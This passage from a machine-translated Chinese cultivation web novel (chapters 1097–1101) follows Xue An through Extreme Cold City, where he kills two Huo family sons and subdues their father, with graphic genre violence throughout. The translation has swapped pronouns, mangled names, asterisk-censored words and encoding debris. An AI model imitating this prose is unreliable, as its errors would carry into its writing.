    No one dared to look at her, all bowed their heads in fear.


    But when Chu Xiaoyun''s gaze swept across the disciples of the cursed city, these people all knelt to the ground with a scream.


    "I have seen you!"


    "I have seen the goddess!"


    Hearing these shouts, Chu Xiaoyun couldn''t help feeling in a daze.


    Once upon a time, I was also the one who was kneeling on the ground, even the one who was most excluded.


    But I didn''t expect that in just a few daylight scenes, my destiny would be reversed.


    The people who had looked down on themselves all knelt on the ground and called their lord in fear.


    This kind of strong contrast made Chu Xiaoyun really feel like a world away.


    But soon, she regained consciousness, then took a deep breath and slowly walked towards the kneeling group of people.


    The sound of footsteps is clear and sweet, but it sounds like a curse in these people''s ears, and each one makes their faces pale.


    When Chu Xiaoyun stopped, the two people kneeling in the front were almost about to crawl on the ground.


    That''s right.


    It was Pu Yanru and Ruan Jingxiu.


    When the two of them heard the footsteps stop in front of them, they were terrified in their hearts, and did not dare to look up, they could only shout tremblingly.


    "Big...sir!"


    Chu Xiaoyun looked at it quietly, and after a while, she said lightly: "Hold up your head!"


    Pu Yanru and Ruan Jingxiu trembled all over, not daring to disobey Chu Xiaoyun''s order, so they slowly raised their heads.


    Both of them were pale, but they were full of flattering smiles.


    Chu Xiaoyun lowered his eyes, "Now, what else do you want to say?"


    A look of horror flashed in their eyes, and Pu Yan stammered and explained: "Chu...Master Goddess, I...I was good to you before, you forgot..."


    "Enough!" A cold light appeared in Chu Xiaoyun''s eyes, "Do you think I inherited her cultivation skills? I have inherited all her memories too! Do you want to quibble?"


    Pu Yanru was shocked all over, and a heart slowly slipped into the abyss of despair.


    However, Ruan Jingxiu seemed to see the life-saving straw, and pointed at Pu Yanru with righteous indignation: "Yes, you are so tempted that you want to murder Lord Goddess. Fortunately, Lord Goddess Jiren has a natural state and did not let you succeed. Do you still want to quibble?"


    This series of questions made Pu Yanru a little silly.


    And Ruan Jingxiu hurriedly nodded and smiled at Chu Xiaoyun, "My Goddess, look at..."


    Chu Xiaoyun was not moved at all, "Did you finish?"


    "After that, let''s get on the road!"


    "No!" Pu Yanru and Ruan Jingxiu exclaimed together.


    Especially Pu Yanru, still thinking about running away.


    But for Chu Xiaoyun, who has inherited all the inheritance of the cursed goddess, all these struggles are tantamount to hitting a stone with a pebble.


    She waved casually.


    Seeing the heads of the two burst apart, the dead body fell to the ground unwillingly.


    Seeing this scene, the disciples of the cursed city all trembled, lest Chu Xiaoyun would kill himself again.


    But Chu Xiaoyun just glanced at the people coldly, then turned around and returned to the main position on the high platform. After slowly taking her seat, she said lightly: "I''m sorry, this Sendai needs to be sealed off for a while. Time, no one is allowed to leave without my order, so you can only be wronged here for a few days!"


    "Then... when can we go back?" Zhong An''an in the crowd suddenly asked.


    Chu Xiaoyun glanced at her, then raised her head to look at the sky outside the window, and said lightly: "Until the lord returns!"


    Zhong An''an was stunned for a moment, then nodded with a wry smile, "If this is the case, then it has to be so!"


    Zhong Anan understood that Chu Xiaoyun did this to block news.


    She should be afraid that after these guests dispersed, what happened here would be hindered to Xue An''s plan.


    But does she really think that Xue An can slaughter the Amaterasu Gods with her own power?


    No matter how you think about it, this sounds like a fairy tale!


    Zhong Anan thought about it.


    Chu Xiaoyun''s face was as cold as ice. She had already thought about it. If Xue An can''t return, then everyone present will be buried with everything.


    at the same time.


    Above the vast expanse of the sky, Xue An was flying at an amazing speed.


    While flying, Xue An looked at everything under his feet.


    I have to say that this Tianzhao God Realm is really vast.


    Because after Xue An was promoted to a true immortal, his speed increased by more than ten times, and even a short time span could span thousands of miles.


    But even at this speed, Xue An has flown for a full hour, but there are still mountains under his feet.


    Moreover, the mountains here are all the same, and after flying for a long time, it is almost impossible to figure out the location.


    If there is no map of this area, it is estimated that even the direction can not be found, and it is directly lost in the vast mountains.


    Xue An was not in a hurry, because he had extracted the memory of cursing the goddess when he was cursing the goddess in the fire.


    However, after careful searching, Xue An at the time was a little disappointed.


    He wanted to find clues about the battle ten thousand years ago through these memories.


    It''s a pity that this cursed goddess is a new **** that has only risen nearly a thousand years, and she doesn''t know what happened ten thousand years ago.


    But it is not entirely without gain.


    At least Xue An got this detailed map of the Amaterasu God Realm.


    Xue An now knows that if the Tianzhao God Realm is overlooked, it is actually like a big pie.


    Amaterasu God King is located in the center of Amaterasu Zhonggong.


    And surrounding the Amaterasu Central Palace are several large cities arranged in a ring structure.


    These cities are like guards, firmly guarding the Amaterasu God King.


    The Cursed City is located in the northwest corner of the Amaterasu God Realm. In order to enter the Amaterasu Palace, you must pass through a city called Extreme Cold City.


    And the one who guards this extremely cold city is the most favored general under the throne of Amaterasu God, Sui Han!


    It can be known from the memory of the cursed goddess.


    This year, the cold **** will become famous very early, and has been guarding the **** of Amaterasu.


    Its strength has the reputation of being Amaterasu''s No. 1 General.


    There are even rumors that he is already a big Luo strong.


    The goddess of curse had seen this Suihan several times, but it was just a general acquaintance, and she didn''t know the true strength of Suihan.


    Just know that this person is definitely not to be underestimated.


    However, Xue An did not hesitate at all.


    Because Xue An wanted to understand that no matter who it was, as long as he dared to block his way, he would die!


    Finally, after flying for three full hours.


    The environment of the surrounding sky and earth changed. Thick white snow appeared on the ground, and the temperature dropped suddenly.


    And just in a piece of ice and snow, a huge city like an ice palace slowly emerged.


    Extreme Cold City, here it is!

 Chapter 1097： Yaner, dare you to bet with your husband?

    The entire body of this extremely cold city is made of ice crystals, and when illuminated by the sun, it looks so crystal clear. From a distance, it looks like a fairy tale world.


    But this fairy tale world is full of dangers, because even though they are far apart, Xue An can still clearly feel that there are countless powerful people hidden in this city.


    There are even king-level powerhouses among them.


    But Xue An frowned slightly, because he found that although the strong were like clouds in this city, there was no aura that matched the age of the cold god.


    Could it be that he is not in this extremely cold city?


    Xue An was slightly surprised.


    Because it is clearly recorded in the memory of the goddess of curse, in order to enter the Amaterasu Palace, one must enter from the large cities surrounding it.


    If you fly directly, or rush through, it is easy to fall into the gap of time and space.


    This was also the defensive method arranged by the Amaterasu King himself.


    I have to say that this Amaterasu God King is simply too cautious, and all methods are for survival.


    But the more so, the more sneered in Xue An''s heart.


    Only when there is a ghost in the heart, can you be so worried.


    Although the gap in time and space can''t help Xue An, if you don''t want to startle the snake, the fastest way is to enter the Amaterasu Middle Palace from this extremely cold city.


    So Xue An simply fell to the ground and entered this extremely cold city among the people entering the city.


    After stepping into it, this extremely cold city revealed its magnificent side.


    It''s even bigger than it looks outside.


    Xue An knew that this was because in the seemingly transparent ice crystal city wall, there were actually countless intricately carved **** patterns.


    These **** patterns not only have a strong defensive ability, but also compress the entire space of the extremely cold city, so that this kind of shape that looks small on the outside, but is really huge on the inside.


    This method has a bit of the spirit of a **** king.


    Xue An thought in his heart, and then strolled on the streets of the extremely cold city.


    The streets of this extremely cold city are very wide, and the houses along the streets are made of ice crystals, which look very strange.


    Almost all the pedestrians walking on the street have good cultivation skills.


    Even Xue An saw a few city master-level powerhouses hooking their shoulders, and swaggering past.


    Although Xue An is here for revenge, the sight in front of him still gives Xue An a little leisure.


    In particular, this extremely cold city is as exquisite and beautiful as an ice palace, and the two little girls might like this environment very much.


    Therefore, Xue An simply separated a trace of spiritual thoughts, entered the Fubao Xiaolou, and called out the two little girls and An Yan.


    When the mother and daughter appeared on the street, they couldn''t help being stunned by the scenery in front of them.


    "Wow! It''s so beautiful!" I thought about it, his eyes widened and exclaimed.


    Nian-nian walked to a building beside the road with bright eyes, and gently touched the ice crystal wall with her hand. A light of joy gradually appeared on her small face, then she turned her head and cried out in surprise. .


    "Mom and dad, sister, look, is this house made of rock candy?"


    Xue An and the three: "..."


    Then I thought about it and shook his head with a look of hatred for iron and steel, "You also rock candy, why don''t you talk about ice cream?"


    "Is not it?"


    "of course not!"


    "But I feel like it!" Nian Nian looked at the wall reluctantly, then suddenly leaned over, sticking out her tongue and licking it.


    "Bah! Except for it''s cold, it''s not sweet at all, it really isn''t rock candy!" Nian Nian took a few mouthfuls.


    Xue An laughed dumbly, and walked forward to gently stroke Niannian''s head, "This is made of ice crystals, of course it won''t be sweet!"


    "Oh..." Nian Nian was a little lost.


    "What? Hungry?" Xue An asked a little amused upon seeing this.


    Nienian nodded vigorously.


    Think about it but say mercilessly: "Dad, don''t believe her, even if you ask her after eating, she will say she is hungry! I suspect she hasn''t even eaten enough! What a pig!"


    As he said, he turned his head and glanced at An Yan, "Mom, did you say I was right?"


    An Yan couldn''t laugh or cry, she squeezed her nose reluctantly, "You two! One is weird and the other is greedy and sleepy. I really can''t help you!"


    "Oh, mom, are you right?" Think about it.


    Nian-nian was a bit wronged, "Mom, my sister actually said that I was a pig!"


    An Yan sighed, then scowled and said, "You are not allowed to say this to your sister in the future, have you heard?"


    "Oh!" think about it, pouting.


    Nian Nian was happy.


    But then a word from An Yan gave her a crit.


    "Even if she looks like, you can''t say that! This is wrong, understand?"


    Niannian opened her mouth wide.


    When I think about it, I was taken aback for a while, then smiled and nodded, "I understand mom!"


    Nian Nian''s big eyes gradually filled with tears, stomped her foot, and turned her head to complain to Xue An.


    "Dad, look at me, my sister and mom are bullying me!"


    Xue An naturally saw it, so when he saw Nian Nian''s aggrieved face, he couldn''t help but laugh.


    "Okay, okay, you won''t be allowed to say that about your sister in the future! My Nian Nian is not a pig!"


    Nian Nian raised her small face and snorted triumphantly.


    That means, now I have my father to support me, see what else you can do!


    "How can pigs be eaten by my family!" Xue Ansha said in a serious manner.


    With a triumphant expression on his face, his small face collapsed in an instant, and he shouted angrily: "Dad!"


    Several people laughed.


    Then Xue An hugged the aggrieved person and said, "Okay, I am teasing you, let''s go! Are you hungry? Let''s see if there is anything delicious here!"


    He was about to cry soon, but immediately burst into laughter, "Okay, okay! Hurry up! I can''t wait!"


    Xue An raised his chin at An Yan, "How about my wife? Are you interested in a match?"


    "Comparison? How to compare? How to compare?"


    "Think about it I will use the restaurant in front as the boundary, and see who can run over first, how about?"


    An Yan curled her lips, "I''m not interested, it''s too naive!"


    The smile on Xue An''s face froze, and then said embarrassingly: "Hey, can you give me some face, in front of the child!"


    An Yan saw Xue An, who was like an older child, and was overjoyed, but still pretended to sigh reluctantly, "Okay! But I have to bet something! Just like that?"


    Xue An pondered for a moment, and then his eyes lit up, "Well, if I lose, then you will kiss me, if you lose, then I will kiss you, how about?"


    "I''m pooh! I want to be beautiful!" An Yan sipped.


    "Then what do you say?" Xue An asked.


    "You lose, call me Sister Three Tones!" An Yan said solemnly.


    Xue An slightly hesitated, then nodded, "Okay! But if you lose, you have to call me Dad three times!"

 Chapter 1098： Sent to the door for a face

    An Yan''s eyes flowed, "Huh?"


    Xue An hurriedly changed his words, "You can call your brother!"


    In the end, the two discussed, Xue An hugged Nian Nian, An Yan hugged to think about it, the two stood together, Xue An said lightly.


    "I count one, two, three, and then run together!"


    An Yan also became serious. After all, she had to take such a big bet.


    "it is good!"


    "One, two..." Before the three words could be spoken, Xue An rushed out like an arrow from a string.


    An Yan was taken aback for a moment, then he ran after him and shouted angrily.


    "Husband, you are shameless!"


    Xue An haha ??laughed and said: "Who said I was shameless, I just said one, two and three, but I didn''t say that I had to start after three!"


    In the end, the match ended in Xue An''s defeat.


    Because when the restaurant was approaching, An Yan suddenly stopped running, and then thought about it in her arms and said: "Think about it, isn''t your father very shabby?"


    Think about nodding, "Yeah! Dad is a rascal!"


    "Then if your father wins, what will you do?"


    "Um... Mom, you mean..."


    An Yan smiled and said, "When the time comes, you will call your father brother!"


    "Good!" Thinking about it, nodded.


    Hearing this conversation between the mother and daughter, Xue An, who had been happily running, gradually became hesitant and finally stopped.


    "Husband, why didn''t you run away?" An Yan asked with a smile upon seeing this.


    Xue An coughed lightly, "Uh...I suddenly felt that victory or defeat is actually not important at all. It is good to make my wife happy! So, let''s get a tie!"


    At this time, An Yan had slowly walked closer, and nodded when he heard the words, "Oh, it turned out to be like this, it''s not impossible to get a tie, just..."


    Before he finished his words, An Yan suddenly accelerated, and rushed to the restaurant first, and then laughed presumptuously, "It''s just that I don''t agree! Hehe, husband, you lost!"


    Think about it and poked his head out and smiled happily: "Dad, you lost!"


    At this time, even Nian Nian hiding in Xue An''s arms couldn''t stand it anymore.


    "father!"


    "Ok?"


    "Do you mean shooting yourself in the foot?" Nian Nian asked with blinking eyes.


    Xue An can''t laugh or cry, so he can only pretend to be serious and straighten his face, "Nonsense, Dad lost to your mother on purpose. I call respect! What do children know!"


    Niannian grinned and said, "Oh, that''s how it is!"


    In the end, after agreeing to a series of "loss of dignity" requirements, An Yan nodded in satisfaction and temporarily "passed" Xue An.


    At this time, they had come to a restaurant.


    I saw this restaurant towering tall and majestic.


    Standing on the street, you can smell the aroma of food coming from it.


    Nian-nian''s saliva almost came out.


    "Dad, let''s go eat here!"


    "it is good!"


    A family of five walked into the restaurant. Under the diligent guidance of the shop''s second child, the family went straight through the lobby on the first floor and onto the second floor.


    Looking up, the entire Arctic City is like a crystal palace built in the world of ice and snow. Especially at the moment when the lights are on, the lights of thousands of families will set off this Arctic City with beautiful colors.


    "It''s so beautiful!" An Yan and Missing Nian sighed sincerely while lying at the window.


    At this time, the food in the restaurant began to be presented like water.


    I have to say that the cooking skills of this restaurant are very good, and the ingredients are very strange.


    All the monsters used are rare treasures hunted in the snow-capped frozen lake outside the city.


    These ingredients themselves contain a wealth of aura, coupled with appropriate culinary excitement, so that these dishes have reached a more reasonable balance in terms of taste and aura.


    At least two little girls ate them happily.


    At this moment, there was a mess of footsteps from the stairs, and then a group of people came up.


    The leader was a well-dressed young man, followed by a group of vicious slaves with fangs and claws.


    The shopkeeper and the shopkeeper of the restaurant waited on the side carefully and respectfully.


    Xue An didn''t care about this at first, after all, no matter where he is, such people are indispensable.


    But after the young man looked around for a while, he saw Xue An''s family sitting in front of the window at a glance.


    In order to avoid those unnecessary gazes, An Yan concealed her appearance a lot with secret techniques.


    But the temperament alone is enough to make many people intoxicated.


    The man''s eyes lit up, and then he walked over with a stern look. He looked at Xue An with a arrogant face and saw that he was a face he had never seen before, and he couldn''t help becoming more arrogant.


    "Where did the guy dare to occupy my seat exclusively for me, so why don''t you get out of here!"


    The man said coldly.


    Now even the group of evil slaves who followed him are also making noise.


    "Yes, I dare to occupy the seat of Master Huo, really looking for death!"


    "Hurry up!"


    Xue An frowned slightly, "Your seat?"


    The man nodded proudly, "That''s right!" Then he smiled at An Yan on the side: "Little lady, don''t be afraid, I let him go away, you can sit here!"


    An Yan didn''t even bother to care about such people, so she didn''t even lift her head.


    Xue An was a little bit ridiculous.


    It''s really speechless to be able to meet such a clich��d plot after a meal.


    Xue Anzheng wanted to send this guy directly.


    Suddenly, he seemed to have discovered something, and he gave a slight hey, then raised his head to look at the man carefully.


    "Oh, why do you look at me like this? Not convinced?"


    Seeing Xue An looking at him, the man thought he was provoking him, so he couldn''t help getting furious and raised his hand to hit him.


    The palm of the wind whizzed, if an ordinary person received such a palm, it is estimated that he would be killed on the spot.


    This also shows how arrogant and overbearing this man is usually.


    Xue An smiled brilliantly, "It''s really effortless to get through the iron shoes without finding any place! I was looking for you, but I delivered it to the door by myself!"


    At this time, the man''s palm was halfway through, but when Xue An''s voice fell, a huge force fell from the sky and directly pressed on the man''s body.


    boom!


    The man couldn''t even resist, and he was directly pressed to his knees by this huge force. The strength was so great that he even cracked the hard floor.


    At this moment, the group of evil slaves who followed the man were all stupid.


    "Master!"


    "Huo Shao!"


    In these shouts the man wanted to struggle, but was horrified to find that he could not even move a finger.


    At this time, Xue An slowly picked up the cup and took a sip, and then said lightly to the group of evil slaves: "Now I will give you a stick of incense and go back to report to his parents. If after the stick of incense, no one will come. , Then wait for him to collect his body!"


    The words are indifferent, but they contain indisputable coercion.


    These evil slaves, even fools, can see that this man is definitely not an ordinary person, and now Huo Shao is kneeling on the ground, his life is also in his hands.


    So these guys didn''t dare to delay at all.


    "You...you wait, if you dare to hurt Huo Shao, then you wait to die!"


    After speaking the scene, these people went downstairs in a panic.


    On the second floor, there were only the chilling restaurant shopkeeper and the shopkeeper.


    Xue An smiled slightly, "Don''t worry, someone will pay you compensation later!"

 Chapter 1099： Who are you?

    The shopkeeper of the restaurant almost cried when he heard this.


    Compensation?


    Just relying on the one who is kneeling on the ground, it is not bad if his restaurant will not be demolished later, dare you to expect compensation?


    That was the famous little boy in Extreme Cold City, an existence that ordinary people simply couldn''t afford.


    And who is this boy? So domineering? The treasurer''s heart was puzzled.


    Also in his mind was this Huo Shao who was kneeling on the ground.


    I saw him staring at Xue An gloomily, and said angrily: "Boy, do you know what you are doing? Now let me go, I might spare you not to die, otherwise..."


    Before the latter words came out, Xue An narrowed his eyes.


    This Huo Shao felt a huge force hit, and his entire body was completely imprisoned in an instant.


    Don''t talk about it now, even blinking has become an extravagant hope, and can only kneel there like a wooden sculpture.


    Xue An continued to drink without moving a look, but An Yan approached in a little surprise and asked in a low voice: "Husband, do you know this guy?"


    Xue An smiled, "I don''t know!"


    "Then why do you want him to kneel there? This kind of person, just give him a lesson, just send him away!" An Yan was a little confused.


    "Although I don''t know him, his parents should know me! Yan''er, if you eat yours, I have my own measures!"


    An Yan nodded when he heard this, and stopped asking.


    So a very strange scene appeared in the room on the second floor.


    Xue An''s family sat around to eat and drink.


    On the side there was a man kneeling on the ground motionless.


    At this moment, I heard an angry roar from a distance, "Who is it? I dare to bully my brother?"


    The sound shook everywhere, and immediately rushed to the sky above the restaurant.


    The shopkeeper of the restaurant and the others trembled all over when they heard the words, and their faces showed fear.


    At this time, the roof of the restaurant was opened directly, and a person fell straight down between the bricks and tiles.


    This person is not too old, and he describes his appearance very much like this Huo Shao.


    As soon as he saw this person, everyone in the restaurant became disgusted.


    Because the person who came was just this Huo Shao''s brother who was kneeling on the ground, this man had a grumpy temper and tyrannical strength, and he was even more troublesome than this Huo Shao.


    As soon as he comes, this matter is estimated to be even worse.


    really.


    The younger brother who saw him knelt on the ground motionlessly. Opposite him was Xue An, who was sitting in a chair with an indifferent expression. He couldn''t help screaming with anger.


    "I''m so courageous, I dare to insult my Huo family so much and die for me!" As he said, he rushed to kill him.


    Xue An couldn''t help frowning slightly when he saw that the visitor was actually a young man, not the one he was waiting for, but he didn''t even look straight, just smiled coldly.


    boom!


    Before rushing to the front, this person felt as if a mountain had fallen directly on his shoulders.


    In terms of strength, he is indeed much better than his younger brother, and under this tremendous force he actually tried to resist.


    But Xue An slowly raised his eyes and gave him a cold look.


    As far as he could see, this person felt that Juli had increased by more than a hundred times in an instant, and he couldn''t help but screamed and knelt on the ground with a plop.


    And because of too much strength, the whole leg was broken.


    But even so, he didn''t make any screams.


    Not because he was tough enough, but because after kneeling down, his whole body was imprisoned, and he could do nothing but breathe.


    In an instant.


    The two brothers knelt side by side, with the same posture and the same technique.


    At this time, all those who witnessed this scene couldn''t help taking a breath.


    Because of such a big momentum, it naturally attracted a lot of people on the street.


    I saw people whispering.


    "Who is this person? He is so overbearing that the Huo family brothers all kneel down!"


    "Hey, who knows! But it looks like it should be an outsider, I don''t know the situation in the city at all!"


    "It looks like it should be a young man, but it seems to be obscured by the secret method, and he can''t see his face and cultivation."


    "Oh, young people are still too impulsive in doing things, and they are so overbearing in a place where they are not familiar with them. It''s probably hard to do things right!"


    "Who says no, the Huo family will never let him go! Wait and see!"


    People were talking about it, but Xue An didn''t seem to have heard it, just raised his head and looked at the opened roof.


    The stars are like a diamond, and the air is good.


    Xue An said lightly: "When I finish drinking this glass of wine in my hand, if no one has appeared yet, don''t blame me for being impolite!"


    The voice was flat, but it spread throughout the audience.


    Everyone was stunned when they heard the words, and then there was a stir.


    This clearly shows that he is challenging the Huo family in public!


    Although this practice made many people secretly praised, what a vigorous young man.


    But more people still shook their heads secretly, because doing so is simply too dangerous.


    The Huo family... isn''t annoying!


    The atmosphere gradually became stagnant.


    The shopkeeper and Xiaoer of the restaurant who were originally on the second floor had quietly retreated without knowing when.


    The crowd onlookers also gradually became silent.


    Under everyone''s gaze, Xue An slowly drank the wine in the glass.


    The wine is made by taking water from the bottom of the ice lake that has not melted forever, and brewing with the blood of monsters. It is rich and strong.


    The average person may get drunk for three days after one sip.


    But Xue An had already drunk most of the pot, but the more he drank, the brighter his eyes became.


    now.


    The wine in the cup had already bottomed out, Xue An raised a cold smile at the corner of his mouth, then held the cup in his hand, and when he raised his head, he drank it all.


    "Since it''s not here yet! Then you two brothers will go on the road together!" Xue An said coldly and started to do it.


    At this moment.


    A sharp sound of breaking through the sky came from the sky, and then I heard someone yelling in incomparably angrily: "Who came from, dare to oppose my Huo family?"


    Hearing this voice, there was a violent commotion in the crowd.


    "coming!"


    "Master Huo family is here!"


    "Tsk tusk, it''s lively now!"


    After Xue An heard this voice, he gradually laughed, but his eyes were full of chill.


    At the same time I saw a stream of light passing over everyone''s heads, and it appeared above the restaurant in an instant.


    When he appeared, he was a middle-aged man with a strong body and a majestic face.


    As soon as this man appeared, the power he brought up made the whole street tremble.


    Surprisingly, he is a strong man with a true immortal cultivation base and a city master level.


    "Master Huo!"


    "I have seen Patriarch Huo!"


    People who were close to each other greeted them.


    At this time, all the evil slaves arrived, "Patriarch, this is the person who forced the young master to kneel!"


    Amidst the chaotic voices, the Huo family master looked at his two sons who were kneeling on the ground, his face became colder, and then he asked in a deep voice.


    "Who are you, you dare to oppose my Huo family, are you tired of living?"

 Chapter 1100： No longer be held accountable? You deserve it too!

    The sound of questioning silenced the audience.


    Xue An gradually laughed, and while laughing, he sighed softly: "No wonder he used to be so arrogant as a chess slave. It turns out that it''s nature!"


    These words made the Huo Patriarch stunned, "What do you mean? Who are you?"


    "Who am I?"


    Xue An easily removed the secret technique to cover his breath, and then smiled at the Huo Patriarch whose expression changed wildly.


    "Huo Geng, long time no see!"


    That''s right.


    The Huo Family Patriarch who came here was the one who seized the Amaterasu Chess Master as a chess slave in the Amaterasu Star Territory, and committed heinous sins. Xue An exploded with chess skills and exposed his true colors.


    But in the end, he was lucky enough to have escaped Huo Geng.


    now.


    When this Huo Geng saw Xue An who had removed the secret technique disguise, he couldn''t believe his eyes, and his body was shocked. He stared at him, "You...you..."


    This sudden change also stunned all the onlookers.


    "What''s the matter? Why does Patriarch Huo''s expression suddenly change?"


    "Who knows, but hearing this, the two seem to know each other!"


    At this moment, Xue Anhao leaned back on his chair and said in a playful tone: "Before I thought you were nothing more than a chess slave, but now it seems that I guessed wrong! Your identity is very true. Not ordinary!"


    "In that case, the death of Amaterasu Chess and all the subsequent events are behind the scenes that your Amaterasu God Realm is in secret control?"


    Hearing Xue An''s words, Huo Geng''s expression fluctuated, but the initial consternation and panic was receding like a tide, and then he sneered slightly.


    "To be honest, I am really surprised. I am surprised that you dare to come to God''s Domain! And you are so smart that you can react so quickly! Yes, things in the Amaterasu Star Region are indeed dominated by me!"


    Xue An nodded, "Very well, I am very pleased that you are so honest!"


    At this time, the Huo brothers, who were kneeling on the ground, felt that the restraint was loosened and they were already able to speak, so they quickly yelled.


    "Father, save me!"


    "My father, save me!"


    Huo Geng looked at the Huo brothers who were kneeling on the ground, unable to move, and turned his head to look at Xue An coldly.


    "What do you mean by this?"


    Xue An smiled slightly, "It''s nothing, I just happened to pass by here, and then happened to find that the blood of this man is very similar to you, so I happened to play a game with them!"


    "Am I right?"


    Xue Anchong said with a smile.


    The man who knelt down first said bitterly: "Boy, you are finished, now my father is here, no matter who you are, you never want to leave!"


    "Oh? Really?" Xue An smiled.


    "Of course! Entering this extremely cold city, it was the dragon who was holding on to it, and the tiger was lying down. You dare to oppose my Huo family, you just wait to die! And even the woman next to you can''t live, I meeting����."


    The man''s face was full of Yinxie, and he was about to say, Xue An''s eyes flashed with cold light, and he sent the mother and daughter back to Fu Bao Xiaolou.


    At the same time, a strong spirit rushed out, and this person''s head and body exploded like firecrackers.


    Not only that, but even his spirit was also wiped out.


    The audience was stunned.


    No one thought that this looks very delicate young man would be so harsh in his shots.


    And he dared to kill directly in front of Huo Geng, the head of the Huo family.


    Huo Geng was also taken aback for a moment, and then he came to his senses, and roared very angrily: "The surname is Xue, how dare you kill my son? I..."


    "What''s wrong with killing your son? Do you think I only kill one?"


    Xue An smiled slightly and pointed at another Huo family who was kneeling beside him.


    The man was shocked and shouted in horror: "My father, please help..."


    I haven''t spoken yet, and my head and body are all exploded to pieces.


    Between the pool of blood.


    Huo Geng stood in place with cold hands and feet.


    Xue An stood up slowly and said lightly: "I''m sorry, your two sons are dead now!"


    The audience was silent.


    The two Huo Family Second Young Masters who had committed countless heinous crimes died like this, no one dared to provoke them in the extremely cold city.


    Countless people are happy in their hearts, but on the surface they dare not show it.


    But to everyone''s expectations, Huo Geng, who should have been furious, suddenly became extremely calm.


    He looked at Xue An coldly, and suddenly said, "Now my son is also killed by you. I won''t pursue it anymore. Even if this matter is over, what do you think?"


    boom!


    This sentence was no less than a bomb, and everyone who bombed was terrified.


    In the extremely cold city, the Huo family Patriarch, who always said one thing and was very vicious, said that he would not be held accountable after his two sons were killed.


    This sounds like a fantasy.


    In the eyes of many people, Xue An''s image instantly became extremely mysterious.


    Who is he?


    Can there be such a powerful deterrent, so that the Huo Family Patriarch is so afraid?


    But just when everyone thought that Xue An would accept the meeting and stop there.


    Xue An laughed, "I killed them because they deserved to die for their sins! What does it have to do with you?"


    "And you don''t pursue it anymore, do you think... are you worthy?"


    Many people were so startled by these words that they dared not look at Huo Geng''s expression.


    Because this is not a face slap, but a kick directly on the face with his feet.


    really.


    Huo Geng''s face was somber that he could see the figure, and said angrily: "Xue An, don''t deceive people too much, do you really think I''m afraid of you?"


    "When the weak are weak, they say that the weak eat the strong, and when the strong are strong, they talk about deceiving people too much. The routines of you people are really full!"


    Speaking of this point, Huo Geng has been unable to retreat.


    In fact, at the beginning, he was not too afraid of Xue An''s arrival except for surprise.


    Because in the Amaterasu Star Territory before, even though Xue An showed extremely strong strength, he was just a clone at the time, and it was not surprising that he lost.


    And now this is the extremely cold city is his home field, so Huo Geng feels that Xue An came to the door purely to die.


    But later, when Xue An killed his two sons directly, he didn''t dare to think so again.


    Huo Geng was terrified by Xue An''s strong spirit, so his attitude changed drastically, thinking of calming things down, covering the matter first, and then looking for the scene later.


    But now that Xue An is so "aggressive", he can''t retreat anymore. If he retreats, the Huo family will not mix in the extremely cold city in the future.


    Therefore he grinned, "Since you want to die so, then I will fulfill you!"


    With that, Huo Geng showed countless ice crystals around his body.


    "Frozen for thousands of miles!"


    boom!


    The ice crystal swept forward, and everyone who saw it retreated in shock.


    Wherever he went, the temperature suddenly dropped to extremely low, and even the air was frozen.

 Chapter 1101： Years of Cold God

    But Xue An''s response to this is also very simple.


    After one step, Xue An appeared in front of Huo Geng and kicked it out.


    Huo Geng, who was trying his best to mobilize his divine power, never thought that his ice spirit technique would not work on Xue An at all.


    Unprepared, he was kicked to the ground by Xue An.


    Without the blessing of divine power, the ice crystals dissipated naturally.


    When Huo Geng was about to get up, Xue An stepped forward and stepped on his head with one foot, and said lightly: "Don''t move, I''ll step on your head again!"


    A breathing room.


    Huo Geng was reduced to Xue An''s defeat.


    And from beginning to end, Xue An even kept his hands behind his back without using


    This gap in strength made everyone stunned.


    Huo Geng was even more frightened, but soon he calmed down, and then shouted hoarsely: "Xue An, what do you want to do?"


    Xue An smiled faintly, "It''s very simple, I''m looking for you Suihan God General in Extreme Cold City!"


    Huo Geng was shocked, "You...what are you looking for, Lord God General?"


    "Guess?" Xue An said with a smile.


    Huo Geng was a little confused, and then a look of horror appeared in his eyes, "You...you want to go to the middle palace?"


    Xue Ansen smiled, "You are right, but unfortunately there is no reward!"


    Huo Geng trembled like sifting chaff, his eyes full of horror when he looked at Xue An.


    Although he had previously speculated as much as possible what Xue An wanted to do when he came to Amaterasu God Realm, he never expected that Xue An''s target was the Lord God King who was sitting in the Amaterasu Middle Palace.


    "You... why do you have to struggle with my Amaterasu Gods?" Huo Geng finally couldn''t help asking.


    Xue An gave him a cold look, "Because you have done a lot of wrong things!"


    "If you make a mistake, you must admit it, and you must pay for the sins committed with blood!"


    Xue An''s voice was full of cold murderous intent.


    Huo Geng was stunned for a moment, but in the end he had no choice but to lower his head, but when he lowered his head, a flash of cold light flashed in his eyes.


    "Okay! In this case, then I will lead you to see Lord God General!"


    The Arctic City occupies a very wide area, and this kind of city is usually located in the center of the city.


    But when Xue An entered the city, he had already scanned it through divine consciousness, and there was no strong person in the city lord''s mansion.


    And if you want to go from here to the Amaterasu Palace, there will definitely be a teleportation array. In that case, the spatial structure will be different.


    But the City Lord''s Mansion obviously did not meet these conditions.


    Until Huo Geng led the way, and kept leaving Arctic City.


    Xue An just came across.


    It turns out that the Cold God General was not in the city this year, but lived somewhere outside of the extremely cold city!


    now.


    Already a hundred miles away from the extremely cold city, I saw that the earth was covered with thick ice and snow, and the extremely cold climate made it barren. Only a little bit of starlight reflected on the snow, which seemed so lonely.


    In this environment, he continued to fly forward for another quarter of an hour, and a low hill appeared in front of him.


    These hills form a natural col, and this col is protected by layers of arrays.


    Huo Geng stopped, "Xue...Master Xue, the place ahead is where the gods usually live!"


    Xue An was noncommittal, his eyes flashing like electricity, sweeping across the valley.


    Although blocked by the layered array method, Xue An can still feel an obscure and tyrannical aura.


    Xue An showed a playful smile, "Okay! You did a good job!"


    After all, Xue An flew to the ground in mid-air, walked on top of the white snow, and went straight to the mountain col.


    Seeing this scene, Huo Geng looked happy, and his gaze looking at Xue An''s back was also full of hatred.


    Ha ha, Xue An! This is your own death, you can''t blame others!


    at the same time.


    Before Xue An came to protect the formation, he raised his head and looked at it, then stretched out his hand and slowly pressed it down.


    Hum.


    With a soft sound, an ice-blue light curtain emerged, trying to flick Xue An''s palm.


    Xue An smiled coldly, without retreating the palm of his hand, but pressing it down suddenly.


    Click.


    This ice-blue light curtain shattered suddenly after supporting it for less than a second.


    But at the same time, the dozens of array light curtains inside were also activated at the same time, and a low roar came from it.


    As soon as this roar came out, the ice and snow all over the area trembled.


    Xue An was not moved at all, and directly stuck out.


    Bang bang bang.


    After a series of crisp sounds.


